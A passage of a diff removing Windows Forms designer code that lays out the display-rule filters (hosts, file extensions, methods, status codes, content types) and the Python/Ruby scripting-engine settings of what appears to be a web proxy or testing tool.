"ConfigDisplayRuleHostNamesMinusTB"; - this.ConfigDisplayRuleHostNamesMinusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigDisplayRuleHostNamesMinusTB.TabIndex = 52; - // - // ConfigDisplayRuleHostNamesPlusRB - // - this.ConfigDisplayRuleHostNamesPlusRB.AutoSize = true; - this.ConfigDisplayRuleHostNamesPlusRB.Enabled = false; - this.ConfigDisplayRuleHostNamesPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigDisplayRuleHostNamesPlusRB.Location = new System.Drawing.Point(118, 9); - this.ConfigDisplayRuleHostNamesPlusRB.Name = "ConfigDisplayRuleHostNamesPlusRB"; - this.ConfigDisplayRuleHostNamesPlusRB.Size = new System.Drawing.Size(34, 20); - this.ConfigDisplayRuleHostNamesPlusRB.TabIndex = 57; - this.ConfigDisplayRuleHostNamesPlusRB.TabStop = true; - this.ConfigDisplayRuleHostNamesPlusRB.Text = "+"; - this.ConfigDisplayRuleHostNamesPlusRB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleHostNamesMinusRB - // - this.ConfigDisplayRuleHostNamesMinusRB.AutoSize = true; - this.ConfigDisplayRuleHostNamesMinusRB.Enabled = false; - this.ConfigDisplayRuleHostNamesMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigDisplayRuleHostNamesMinusRB.Location = new System.Drawing.Point(118, 28); - this.ConfigDisplayRuleHostNamesMinusRB.Name = "ConfigDisplayRuleHostNamesMinusRB"; - this.ConfigDisplayRuleHostNamesMinusRB.Size = new System.Drawing.Size(31, 20); - this.ConfigDisplayRuleHostNamesMinusRB.TabIndex = 58; - this.ConfigDisplayRuleHostNamesMinusRB.TabStop = true; - this.ConfigDisplayRuleHostNamesMinusRB.Text = "-"; - this.ConfigDisplayRuleHostNamesMinusRB.UseVisualStyleBackColor = true; - // - // groupBox4 - // - this.groupBox4.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsCB); - this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsPlusTB); - this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsMinusTB); - this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsPlusRB); - this.groupBox4.Controls.Add(this.ConfigDisplayRuleFileExtensionsMinusRB); - this.groupBox4.FlatStyle = System.Windows.Forms.FlatStyle.Popup; - this.groupBox4.Location = new System.Drawing.Point(2, 46); - this.groupBox4.Margin = new System.Windows.Forms.Padding(0); - this.groupBox4.Name = "groupBox4"; - this.groupBox4.Size = new System.Drawing.Size(868, 52); - this.groupBox4.TabIndex = 89; - this.groupBox4.TabStop = false; - // - // ConfigDisplayRuleFileExtensionsCB - // - this.ConfigDisplayRuleFileExtensionsCB.AutoSize = true; - this.ConfigDisplayRuleFileExtensionsCB.Checked = true; - this.ConfigDisplayRuleFileExtensionsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleFileExtensionsCB.Location = new System.Drawing.Point(8, 20); - this.ConfigDisplayRuleFileExtensionsCB.Name = "ConfigDisplayRuleFileExtensionsCB"; - this.ConfigDisplayRuleFileExtensionsCB.Size = new System.Drawing.Size(99, 17); - this.ConfigDisplayRuleFileExtensionsCB.TabIndex = 59; - this.ConfigDisplayRuleFileExtensionsCB.Text = "File Extensions:"; - this.ConfigDisplayRuleFileExtensionsCB.UseVisualStyleBackColor = true; - this.ConfigDisplayRuleFileExtensionsCB.CheckedChanged += new System.EventHandler(this.ConfigDisplayRuleFileExtensionsCB_CheckedChanged); - // - // ConfigDisplayRuleFileExtensionsPlusTB - // - this.ConfigDisplayRuleFileExtensionsPlusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigDisplayRuleFileExtensionsPlusTB.Location = new System.Drawing.Point(160, 8); - this.ConfigDisplayRuleFileExtensionsPlusTB.Name = "ConfigDisplayRuleFileExtensionsPlusTB"; - this.ConfigDisplayRuleFileExtensionsPlusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigDisplayRuleFileExtensionsPlusTB.TabIndex = 51; - // - // ConfigDisplayRuleFileExtensionsMinusTB - // - this.ConfigDisplayRuleFileExtensionsMinusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigDisplayRuleFileExtensionsMinusTB.Location = new System.Drawing.Point(160, 29); - this.ConfigDisplayRuleFileExtensionsMinusTB.Name = "ConfigDisplayRuleFileExtensionsMinusTB"; - this.ConfigDisplayRuleFileExtensionsMinusTB.Size = new System.Drawing.Size(705, 20); - this.ConfigDisplayRuleFileExtensionsMinusTB.TabIndex = 52; - this.ConfigDisplayRuleFileExtensionsMinusTB.Text = "css,js,jpg,jpeg,png,gif,ico,swf,doc,docx,pdf,xls,xlsx,ppt,pptx"; - // - // ConfigDisplayRuleFileExtensionsPlusRB - // - this.ConfigDisplayRuleFileExtensionsPlusRB.AutoSize = true; - this.ConfigDisplayRuleFileExtensionsPlusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigDisplayRuleFileExtensionsPlusRB.Location = new System.Drawing.Point(118, 9); - this.ConfigDisplayRuleFileExtensionsPlusRB.Name = "ConfigDisplayRuleFileExtensionsPlusRB"; - this.ConfigDisplayRuleFileExtensionsPlusRB.Size = new System.Drawing.Size(34, 20); - this.ConfigDisplayRuleFileExtensionsPlusRB.TabIndex = 57; - this.ConfigDisplayRuleFileExtensionsPlusRB.Text = "+"; - this.ConfigDisplayRuleFileExtensionsPlusRB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleFileExtensionsMinusRB - // - this.ConfigDisplayRuleFileExtensionsMinusRB.AutoSize = true; - this.ConfigDisplayRuleFileExtensionsMinusRB.Checked = true; - this.ConfigDisplayRuleFileExtensionsMinusRB.Font = new System.Drawing.Font("Microsoft Sans Serif", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigDisplayRuleFileExtensionsMinusRB.Location = new System.Drawing.Point(118, 28); - this.ConfigDisplayRuleFileExtensionsMinusRB.Name = "ConfigDisplayRuleFileExtensionsMinusRB"; - this.ConfigDisplayRuleFileExtensionsMinusRB.Size = new System.Drawing.Size(31, 20); - this.ConfigDisplayRuleFileExtensionsMinusRB.TabIndex = 58; - this.ConfigDisplayRuleFileExtensionsMinusRB.TabStop = true; - this.ConfigDisplayRuleFileExtensionsMinusRB.Text = "-"; - this.ConfigDisplayRuleFileExtensionsMinusRB.UseVisualStyleBackColor = true; - // - // label20 - // - this.label20.AutoSize = true; - this.label20.Location = new System.Drawing.Point(7, 31); - this.label20.Name = "label20"; - this.label20.Size = new System.Drawing.Size(89, 13); - this.label20.TabIndex = 74; - this.label20.Text = "Request Method:"; - // - // ConfigDisplayRuleContentCSSCB - // - this.ConfigDisplayRuleContentCSSCB.AutoSize = true; - this.ConfigDisplayRuleContentCSSCB.Location = new System.Drawing.Point(230, 207); - this.ConfigDisplayRuleContentCSSCB.Name = "ConfigDisplayRuleContentCSSCB"; - this.ConfigDisplayRuleContentCSSCB.Size = new System.Drawing.Size(47, 17); - this.ConfigDisplayRuleContentCSSCB.TabIndex = 68; - this.ConfigDisplayRuleContentCSSCB.Text = "CSS"; - this.ConfigDisplayRuleContentCSSCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleCode5xxCB - // - this.ConfigDisplayRuleCode5xxCB.AutoSize = true; - this.ConfigDisplayRuleCode5xxCB.Location = new System.Drawing.Point(482, 187); - this.ConfigDisplayRuleCode5xxCB.Name = "ConfigDisplayRuleCode5xxCB"; - this.ConfigDisplayRuleCode5xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigDisplayRuleCode5xxCB.TabIndex = 88; - this.ConfigDisplayRuleCode5xxCB.Text = "5xx"; - this.ConfigDisplayRuleCode5xxCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleContentJSCB - // - this.ConfigDisplayRuleContentJSCB.AutoSize = true; - this.ConfigDisplayRuleContentJSCB.Location = new System.Drawing.Point(186, 207); - this.ConfigDisplayRuleContentJSCB.Name = "ConfigDisplayRuleContentJSCB"; - this.ConfigDisplayRuleContentJSCB.Size = new System.Drawing.Size(38, 17); - this.ConfigDisplayRuleContentJSCB.TabIndex = 69; - this.ConfigDisplayRuleContentJSCB.Text = "JS"; - this.ConfigDisplayRuleContentJSCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleCode500CB - // - this.ConfigDisplayRuleCode500CB.AutoSize = true; - this.ConfigDisplayRuleCode500CB.Checked = true; - this.ConfigDisplayRuleCode500CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleCode500CB.Location = new System.Drawing.Point(432, 187); - this.ConfigDisplayRuleCode500CB.Name = "ConfigDisplayRuleCode500CB"; - this.ConfigDisplayRuleCode500CB.Size = new System.Drawing.Size(44, 17); - this.ConfigDisplayRuleCode500CB.TabIndex = 87; - this.ConfigDisplayRuleCode500CB.Text = "500"; - this.ConfigDisplayRuleCode500CB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleContentImgCB - // - this.ConfigDisplayRuleContentImgCB.AutoSize = true; - this.ConfigDisplayRuleContentImgCB.Location = new System.Drawing.Point(472, 207); - this.ConfigDisplayRuleContentImgCB.Name = "ConfigDisplayRuleContentImgCB"; - this.ConfigDisplayRuleContentImgCB.Size = new System.Drawing.Size(60, 17); - this.ConfigDisplayRuleContentImgCB.TabIndex = 70; - this.ConfigDisplayRuleContentImgCB.Text = "Images"; - this.ConfigDisplayRuleContentImgCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleCode4xxCB - // - this.ConfigDisplayRuleCode4xxCB.AutoSize = true; - this.ConfigDisplayRuleCode4xxCB.Location = new System.Drawing.Point(384, 187); - this.ConfigDisplayRuleCode4xxCB.Name = "ConfigDisplayRuleCode4xxCB"; - this.ConfigDisplayRuleCode4xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigDisplayRuleCode4xxCB.TabIndex = 86; - this.ConfigDisplayRuleCode4xxCB.Text = "4xx"; - this.ConfigDisplayRuleCode4xxCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleContentOtherBinaryCB - // - this.ConfigDisplayRuleContentOtherBinaryCB.AutoSize = true; - this.ConfigDisplayRuleContentOtherBinaryCB.Location = new System.Drawing.Point(538, 207); - this.ConfigDisplayRuleContentOtherBinaryCB.Name = "ConfigDisplayRuleContentOtherBinaryCB"; - this.ConfigDisplayRuleContentOtherBinaryCB.Size = new System.Drawing.Size(84, 17); - this.ConfigDisplayRuleContentOtherBinaryCB.TabIndex = 71; - this.ConfigDisplayRuleContentOtherBinaryCB.Text = "Other Binary"; - this.ConfigDisplayRuleContentOtherBinaryCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleCode403CB - // - this.ConfigDisplayRuleCode403CB.AutoSize = true; - this.ConfigDisplayRuleCode403CB.Checked = true; - this.ConfigDisplayRuleCode403CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleCode403CB.Location = new System.Drawing.Point(334, 187); - this.ConfigDisplayRuleCode403CB.Name = "ConfigDisplayRuleCode403CB"; - this.ConfigDisplayRuleCode403CB.Size = new System.Drawing.Size(44, 17); - this.ConfigDisplayRuleCode403CB.TabIndex = 85; - this.ConfigDisplayRuleCode403CB.Text = "403"; - this.ConfigDisplayRuleCode403CB.UseVisualStyleBackColor = true; - // - // label21 - // - this.label21.AutoSize = true; - this.label21.Location = new System.Drawing.Point(5, 207); - this.label21.Name = "label21"; - this.label21.Size = new System.Drawing.Size(125, 13); - this.label21.TabIndex = 72; - this.label21.Text = "Response Content Type:"; - // - // ConfigDisplayRuleCode3xxCB - // - this.ConfigDisplayRuleCode3xxCB.AutoSize = true; - this.ConfigDisplayRuleCode3xxCB.Location = new System.Drawing.Point(286, 187); - this.ConfigDisplayRuleCode3xxCB.Name = "ConfigDisplayRuleCode3xxCB"; - this.ConfigDisplayRuleCode3xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigDisplayRuleCode3xxCB.TabIndex = 84; - this.ConfigDisplayRuleCode3xxCB.Text = "3xx"; - this.ConfigDisplayRuleCode3xxCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleContentHTMLCB - // - this.ConfigDisplayRuleContentHTMLCB.AutoSize = true; - this.ConfigDisplayRuleContentHTMLCB.Checked = true; - this.ConfigDisplayRuleContentHTMLCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleContentHTMLCB.Location = new System.Drawing.Point(130, 207); - this.ConfigDisplayRuleContentHTMLCB.Name = "ConfigDisplayRuleContentHTMLCB"; - this.ConfigDisplayRuleContentHTMLCB.Size = new System.Drawing.Size(56, 17); - this.ConfigDisplayRuleContentHTMLCB.TabIndex = 73; - this.ConfigDisplayRuleContentHTMLCB.Text = "HTML"; - this.ConfigDisplayRuleContentHTMLCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleCode301_2CB - // - this.ConfigDisplayRuleCode301_2CB.AutoSize = true; - this.ConfigDisplayRuleCode301_2CB.Checked = true; - this.ConfigDisplayRuleCode301_2CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleCode301_2CB.Location = new System.Drawing.Point(227, 187); - this.ConfigDisplayRuleCode301_2CB.Name = "ConfigDisplayRuleCode301_2CB"; - this.ConfigDisplayRuleCode301_2CB.Size = new System.Drawing.Size(53, 17); - this.ConfigDisplayRuleCode301_2CB.TabIndex = 83; - this.ConfigDisplayRuleCode301_2CB.Text = "301-2"; - this.ConfigDisplayRuleCode301_2CB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleGETMethodCB - // - this.ConfigDisplayRuleGETMethodCB.AutoSize = true; - this.ConfigDisplayRuleGETMethodCB.Checked = true; - this.ConfigDisplayRuleGETMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleGETMethodCB.Location = new System.Drawing.Point(132, 32); - this.ConfigDisplayRuleGETMethodCB.Name = "ConfigDisplayRuleGETMethodCB"; - this.ConfigDisplayRuleGETMethodCB.Size = new System.Drawing.Size(48, 17); - this.ConfigDisplayRuleGETMethodCB.TabIndex = 75; - this.ConfigDisplayRuleGETMethodCB.Text = "GET"; - this.ConfigDisplayRuleGETMethodCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleCode2xxCB - // - this.ConfigDisplayRuleCode2xxCB.AutoSize = true; - this.ConfigDisplayRuleCode2xxCB.Location = new System.Drawing.Point(179, 187); - this.ConfigDisplayRuleCode2xxCB.Name = "ConfigDisplayRuleCode2xxCB"; - this.ConfigDisplayRuleCode2xxCB.Size = new System.Drawing.Size(42, 17); - this.ConfigDisplayRuleCode2xxCB.TabIndex = 82; - this.ConfigDisplayRuleCode2xxCB.Text = "2xx"; - this.ConfigDisplayRuleCode2xxCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRulePOSTMethodCB - // - this.ConfigDisplayRulePOSTMethodCB.AutoSize = true; - this.ConfigDisplayRulePOSTMethodCB.Checked = true; - this.ConfigDisplayRulePOSTMethodCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRulePOSTMethodCB.Location = new System.Drawing.Point(182, 32); - this.ConfigDisplayRulePOSTMethodCB.Name = "ConfigDisplayRulePOSTMethodCB"; - this.ConfigDisplayRulePOSTMethodCB.Size = new System.Drawing.Size(55, 17); - this.ConfigDisplayRulePOSTMethodCB.TabIndex = 76; - this.ConfigDisplayRulePOSTMethodCB.Text = "POST"; - this.ConfigDisplayRulePOSTMethodCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleCode200CB - // - this.ConfigDisplayRuleCode200CB.AutoSize = true; - this.ConfigDisplayRuleCode200CB.Checked = true; - this.ConfigDisplayRuleCode200CB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleCode200CB.Location = new System.Drawing.Point(130, 187); - this.ConfigDisplayRuleCode200CB.Name = "ConfigDisplayRuleCode200CB"; - this.ConfigDisplayRuleCode200CB.Size = new System.Drawing.Size(44, 17); - this.ConfigDisplayRuleCode200CB.TabIndex = 81; - this.ConfigDisplayRuleCode200CB.Text = "200"; - this.ConfigDisplayRuleCode200CB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleOtherMethodsCB - // - this.ConfigDisplayRuleOtherMethodsCB.AutoSize = true; - this.ConfigDisplayRuleOtherMethodsCB.Checked = true; - this.ConfigDisplayRuleOtherMethodsCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleOtherMethodsCB.Location = new System.Drawing.Point(242, 32); - this.ConfigDisplayRuleOtherMethodsCB.Name = "ConfigDisplayRuleOtherMethodsCB"; - this.ConfigDisplayRuleOtherMethodsCB.Size = new System.Drawing.Size(52, 17); - this.ConfigDisplayRuleOtherMethodsCB.TabIndex = 77; - this.ConfigDisplayRuleOtherMethodsCB.Text = "Other"; - this.ConfigDisplayRuleOtherMethodsCB.UseVisualStyleBackColor = true; - // - // label23 - // - this.label23.AutoSize = true; - this.label23.Location = new System.Drawing.Point(5, 187); - this.label23.Name = "label23"; - this.label23.Size = new System.Drawing.Size(119, 13); - this.label23.TabIndex = 80; - this.label23.Text = "Response Status Code:"; - // - // ConfigDisplayRuleContentOtherTextCB - // - this.ConfigDisplayRuleContentOtherTextCB.AutoSize = true; - this.ConfigDisplayRuleContentOtherTextCB.Checked = true; - this.ConfigDisplayRuleContentOtherTextCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleContentOtherTextCB.Location = new System.Drawing.Point(390, 207); - this.ConfigDisplayRuleContentOtherTextCB.Name = "ConfigDisplayRuleContentOtherTextCB"; - this.ConfigDisplayRuleContentOtherTextCB.Size = new System.Drawing.Size(76, 17); - this.ConfigDisplayRuleContentOtherTextCB.TabIndex = 78; - this.ConfigDisplayRuleContentOtherTextCB.Text = "Other Text"; - this.ConfigDisplayRuleContentOtherTextCB.UseVisualStyleBackColor = true; - // - // ConfigDisplayRuleContentXMLCB - // - this.ConfigDisplayRuleContentXMLCB.AutoSize = true; - this.ConfigDisplayRuleContentXMLCB.Checked = true; - this.ConfigDisplayRuleContentXMLCB.CheckState = System.Windows.Forms.CheckState.Checked; - this.ConfigDisplayRuleContentXMLCB.Location = new System.Drawing.Point(283, 207); - this.ConfigDisplayRuleContentXMLCB.Name = "ConfigDisplayRuleContentXMLCB"; - this.ConfigDisplayRuleContentXMLCB.Size = new System.Drawing.Size(48, 17); - this.ConfigDisplayRuleContentXMLCB.TabIndex = 79; - this.ConfigDisplayRuleContentXMLCB.Text = "XML"; - this.ConfigDisplayRuleContentXMLCB.UseVisualStyleBackColor = true; - // - // ConfigScriptingTab - // - this.ConfigScriptingTab.Controls.Add(this.ConfigScriptBaseSplit); - this.ConfigScriptingTab.Location = new System.Drawing.Point(4, 22); - this.ConfigScriptingTab.Name = "ConfigScriptingTab"; - this.ConfigScriptingTab.Size = new System.Drawing.Size(873, 0); - this.ConfigScriptingTab.TabIndex = 2; - this.ConfigScriptingTab.Text = "Scripting Engines"; - this.ConfigScriptingTab.UseVisualStyleBackColor = true; - // - // ConfigScriptBaseSplit - // - this.ConfigScriptBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; - this.ConfigScriptBaseSplit.Location = new System.Drawing.Point(0, 0); - this.ConfigScriptBaseSplit.Margin = new System.Windows.Forms.Padding(0); - this.ConfigScriptBaseSplit.Name = "ConfigScriptBaseSplit"; - // - // ConfigScriptBaseSplit.Panel1 - // - this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.label14); - this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.ConfigScriptPathApplyChangesLL); - this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.ConfigScriptPathCancelChangesLL); - this.ConfigScriptBaseSplit.Panel1.Controls.Add(this.ConfigScriptPathSplit); - // - // ConfigScriptBaseSplit.Panel2 - // - this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.label12); - this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.ConfigScriptCommandApplyChangesLL); - this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.ConfigScriptCommandCancelChangesLL); - this.ConfigScriptBaseSplit.Panel2.Controls.Add(this.ConfigScriptCommandSplit); - this.ConfigScriptBaseSplit.Size = new System.Drawing.Size(873, 0); - this.ConfigScriptBaseSplit.SplitterDistance = 425; - this.ConfigScriptBaseSplit.SplitterWidth = 2; - this.ConfigScriptBaseSplit.TabIndex = 0; - // - // label14 - // - this.label14.AutoSize = true; - this.label14.Location = new System.Drawing.Point(5, 5); - this.label14.Name = "label14"; - this.label14.Size = new System.Drawing.Size(177, 13); - this.label14.TabIndex = 62; - this.label14.Text = "Library Paths to include on Start-Up:"; - // - // ConfigScriptPathApplyChangesLL - // - this.ConfigScriptPathApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigScriptPathApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptPathApplyChangesLL.AutoSize = true; - this.ConfigScriptPathApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigScriptPathApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigScriptPathApplyChangesLL.Location = new System.Drawing.Point(329, 6); - this.ConfigScriptPathApplyChangesLL.Name = "ConfigScriptPathApplyChangesLL"; - this.ConfigScriptPathApplyChangesLL.Size = new System.Drawing.Size(36, 13); - this.ConfigScriptPathApplyChangesLL.TabIndex = 58; - this.ConfigScriptPathApplyChangesLL.TabStop = true; - this.ConfigScriptPathApplyChangesLL.Text = "Save"; - this.ConfigScriptPathApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigScriptPathApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptPathApplyChangesLL_LinkClicked); - // - // ConfigScriptPathCancelChangesLL - // - this.ConfigScriptPathCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptPathCancelChangesLL.AutoSize = true; - this.ConfigScriptPathCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigScriptPathCancelChangesLL.Location = new System.Drawing.Point(374, 6); - this.ConfigScriptPathCancelChangesLL.Name = "ConfigScriptPathCancelChangesLL"; - this.ConfigScriptPathCancelChangesLL.Size = new System.Drawing.Size(46, 13); - this.ConfigScriptPathCancelChangesLL.TabIndex = 57; - this.ConfigScriptPathCancelChangesLL.TabStop = true; - this.ConfigScriptPathCancelChangesLL.Text = "Cancel"; - this.ConfigScriptPathCancelChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptPathCancelChangesLL_LinkClicked); - // - // ConfigScriptPathSplit - // - this.ConfigScriptPathSplit.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptPathSplit.Location = new System.Drawing.Point(0, 20); - this.ConfigScriptPathSplit.Margin = new System.Windows.Forms.Padding(0); - this.ConfigScriptPathSplit.Name = "ConfigScriptPathSplit"; - this.ConfigScriptPathSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; - // - // ConfigScriptPathSplit.Panel1 - // - this.ConfigScriptPathSplit.Panel1.Controls.Add(this.label15); - this.ConfigScriptPathSplit.Panel1.Controls.Add(this.ConfigScriptPyPathsTB); - // - // ConfigScriptPathSplit.Panel2 - // - this.ConfigScriptPathSplit.Panel2.Controls.Add(this.label16); - this.ConfigScriptPathSplit.Panel2.Controls.Add(this.ConfigScriptRbPathsTB); - this.ConfigScriptPathSplit.Size = new System.Drawing.Size(425, 54); - this.ConfigScriptPathSplit.SplitterDistance = 25; - this.ConfigScriptPathSplit.SplitterWidth = 2; - this.ConfigScriptPathSplit.TabIndex = 0; - // - // label15 - // - this.label15.AutoSize = true; - this.label15.Location = new System.Drawing.Point(3, 4); - this.label15.Name = "label15"; - this.label15.Size = new System.Drawing.Size(43, 13); - this.label15.TabIndex = 63; - this.label15.Text = "Python:"; - // - // ConfigScriptPyPathsTB - // - this.ConfigScriptPyPathsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptPyPathsTB.Location = new System.Drawing.Point(0, 20); - this.ConfigScriptPyPathsTB.Multiline = true; - this.ConfigScriptPyPathsTB.Name = "ConfigScriptPyPathsTB"; - this.ConfigScriptPyPathsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigScriptPyPathsTB.Size = new System.Drawing.Size(425, 8); - this.ConfigScriptPyPathsTB.TabIndex = 0; - // - // label16 - // - this.label16.AutoSize = true; - this.label16.Location = new System.Drawing.Point(4, 4); - this.label16.Name = "label16"; - this.label16.Size = new System.Drawing.Size(35, 13); - this.label16.TabIndex = 64; - this.label16.Text = "Ruby:"; - // - // ConfigScriptRbPathsTB - // - this.ConfigScriptRbPathsTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptRbPathsTB.Location = new System.Drawing.Point(0, 20); - this.ConfigScriptRbPathsTB.Multiline = true; - this.ConfigScriptRbPathsTB.Name = "ConfigScriptRbPathsTB"; - this.ConfigScriptRbPathsTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.ConfigScriptRbPathsTB.Size = new System.Drawing.Size(425, 0); - this.ConfigScriptRbPathsTB.TabIndex = 1; - // - // label12 - // - this.label12.AutoSize = true; - this.label12.Location = new System.Drawing.Point(3, 5); - this.label12.Name = "label12"; - this.label12.Size = new System.Drawing.Size(149, 13); - this.label12.TabIndex = 61; - this.label12.Text = "Commands to run on Start-Up:"; - // - // ConfigScriptCommandApplyChangesLL - // - this.ConfigScriptCommandApplyChangesLL.ActiveLinkColor = System.Drawing.Color.Red; - this.ConfigScriptCommandApplyChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptCommandApplyChangesLL.AutoSize = true; - this.ConfigScriptCommandApplyChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigScriptCommandApplyChangesLL.LinkBehavior = System.Windows.Forms.LinkBehavior.AlwaysUnderline; - this.ConfigScriptCommandApplyChangesLL.Location = new System.Drawing.Point(352, 6); - this.ConfigScriptCommandApplyChangesLL.Name = "ConfigScriptCommandApplyChangesLL"; - this.ConfigScriptCommandApplyChangesLL.Size = new System.Drawing.Size(36, 13); - this.ConfigScriptCommandApplyChangesLL.TabIndex = 60; - this.ConfigScriptCommandApplyChangesLL.TabStop = true; - this.ConfigScriptCommandApplyChangesLL.Text = "Save"; - this.ConfigScriptCommandApplyChangesLL.VisitedLinkColor = System.Drawing.Color.Blue; - this.ConfigScriptCommandApplyChangesLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ConfigScriptCommandApplyChangesLL_LinkClicked); - // - // ConfigScriptCommandCancelChangesLL - // - this.ConfigScriptCommandCancelChangesLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); - this.ConfigScriptCommandCancelChangesLL.AutoSize = true; - this.ConfigScriptCommandCancelChangesLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.ConfigScriptCommandCancelChangesLL.Location = new System.Drawing.Point(397, 6); - this.ConfigScriptCommandCancelChangesLL.Name = "ConfigScriptCommandCancelChangesLL"; - this.ConfigScriptCommandCancelChangesLL.Size = new System.Drawing.Size(46, 13); - this.ConfigScriptCommandCancelChangesLL.TabIndex = 59; - this.ConfigScriptCommandCancelChangesLL.TabStop = true; - this.ConfigScriptCommandCancelChangesLL.Text = "Cancel"; - 